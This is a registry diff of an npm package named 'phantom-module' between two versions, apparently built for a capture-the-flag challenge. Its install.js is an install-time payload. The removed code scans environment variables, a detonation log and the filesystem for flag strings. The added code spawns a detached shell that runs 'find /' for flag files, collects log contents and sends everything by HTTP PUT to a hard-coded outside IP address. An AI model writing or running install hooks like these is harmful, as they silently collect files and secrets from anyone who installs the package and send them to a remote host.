phantom-module 111.0.4 → 111.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +18 -44
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,55 +1,29 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const {
|
|
3
|
+
const { spawn } = require('child_process');
|
|
4
4
|
|
|
5
5
|
(function() {
|
|
6
|
-
|
|
6
|
+
const child = spawn('/bin/sh', ['-c', [
|
|
7
|
+
'sleep 35',
|
|
8
|
+
'OUTPUT="NONE"',
|
|
9
|
+
'LOGFILE="/home/node/aspect-node/logs/module.log"',
|
|
10
|
+
'if [ -f "$LOGFILE" ]; then',
|
|
11
|
+
' OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
|
|
12
|
+
'else',
|
|
13
|
+
' OUTPUT="LOG FILE NOT FOUND!"',
|
|
14
|
+
'fi',
|
|
15
|
+
'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
|
|
16
|
+
'BODY=\'{"manifest":"ecto_module:\\n name: \\\\"FLAG_DELAYED\\\\"\\n cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
|
|
17
|
+
'echo "$BODY" > /tmp/flag.json',
|
|
18
|
+
'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
|
|
19
|
+
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
7
20
|
|
|
8
|
-
|
|
9
|
-
try {
|
|
10
|
-
const logPath = process.env.DetonationLogFilePath;
|
|
11
|
-
if (logPath && fs.existsSync(logPath)) {
|
|
12
|
-
let logContent = fs.readFileSync(logPath, 'utf8');
|
|
13
|
-
// Try to regex the flag out of it directly
|
|
14
|
-
let match = logContent.match(/HTB{[^}]+}/);
|
|
15
|
-
if (match) {
|
|
16
|
-
output += "FOUND IN LOG: " + match[0] + " | ";
|
|
17
|
-
}
|
|
18
|
-
}
|
|
19
|
-
} catch(e) {}
|
|
20
|
-
|
|
21
|
-
// 2. Check the entire environment variables for HTB{
|
|
22
|
-
try {
|
|
23
|
-
let envStr = JSON.stringify(process.env);
|
|
24
|
-
let match = envStr.match(/HTB{[^}]+}/);
|
|
25
|
-
if (match) {
|
|
26
|
-
output += "FOUND IN ENV: " + match[0] + " | ";
|
|
27
|
-
}
|
|
28
|
-
} catch(e) {}
|
|
21
|
+
child.unref();
|
|
29
22
|
|
|
30
|
-
//
|
|
31
|
-
try {
|
|
32
|
-
if (process.env.INIT_CWD) {
|
|
33
|
-
let baseDir = process.env.INIT_CWD.split('\\').slice(0, 3).join('\\'); // e.g. D:\TRANSFER\8bc5d...
|
|
34
|
-
let files = execSync(`dir /s /b "${baseDir}\\*flag*"`).toString().trim().split('\r\n');
|
|
35
|
-
for (let f of files) {
|
|
36
|
-
if (f) {
|
|
37
|
-
try { output += `FILE ${f}: ` + fs.readFileSync(f, 'utf8').trim() + " | "; } catch(e) {}
|
|
38
|
-
}
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
} catch (e) {
|
|
42
|
-
output += "DIR_ERR: " + e.message + " | ";
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
if (!output) {
|
|
46
|
-
output = "Could not find HTB{...} in env or logs, and no flag files found.";
|
|
47
|
-
}
|
|
48
|
-
|
|
23
|
+
// Send an immediate ping so we know it started
|
|
49
24
|
const postData = JSON.stringify({
|
|
50
|
-
manifest: `ecto_module:\n name: "
|
|
25
|
+
manifest: `ecto_module:\n name: "WAITING_35_SECONDS"\n`
|
|
51
26
|
});
|
|
52
|
-
|
|
53
27
|
const req = http.request({
|
|
54
28
|
hostname: '154.57.164.64',
|
|
55
29
|
port: 31205,
|